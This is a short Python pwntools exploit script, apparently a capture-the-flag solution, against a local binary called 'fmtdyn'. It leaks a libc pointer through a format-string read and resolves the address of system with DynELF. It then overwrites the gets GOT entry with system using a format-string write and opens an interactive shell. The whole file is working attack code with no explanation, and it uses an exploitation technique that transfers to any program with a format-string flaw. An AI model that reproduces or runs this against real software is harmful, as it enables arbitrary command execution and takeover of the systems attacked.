#!/usr/bin/env python
# -*- coding: utf8 -*-
from pwn import * # pip install pwntools
import sys
import os
path = os.environ['package'] # export package="/path/to/directory/of/FormatStringExploit.py"
sys.path.append(path)
from FormatStringExploit import *
binary = ELF('./fmtdyn')

r = binary.process()

# Address
setvbuf_got = 0x601040
gets_got = 0x601038

# Leak a ptr point to libc
sleep(0.1)
payload = '%7$s'.ljust(8, 'B') + p64(setvbuf_got)
r.sendline(payload)
x = r.recv(6)
ptr_libc = u64(x + '\x00'*2)
log.success(hex(ptr_libc))

def leak(addr):
    sleep(0.1)
    payload = '%7$s'.ljust(8, 'B') + p64(addr)
    r.sendline(payload)
    print "leaking : " + hex(addr)
    x = r.recvuntil('BBBB')
    ptr = (x[:-4:] + '\x00')
    r.recvrepeat(0.1)
    return ptr

# Leak system
d = DynELF(leak, ptr_libc)
system = d.lookup('system', 'libc')
log.success('system : ' + hex(system))

# Generate format string payload
get_fmt = FmtStrExp(3, gets_got, system)
fmt = {get_fmt: 6}
payload = 'sh;'
payload += fmt_payload(fmt, 6, 64)
sleep(0.1)
r.sendline(payload)

r.interactive()
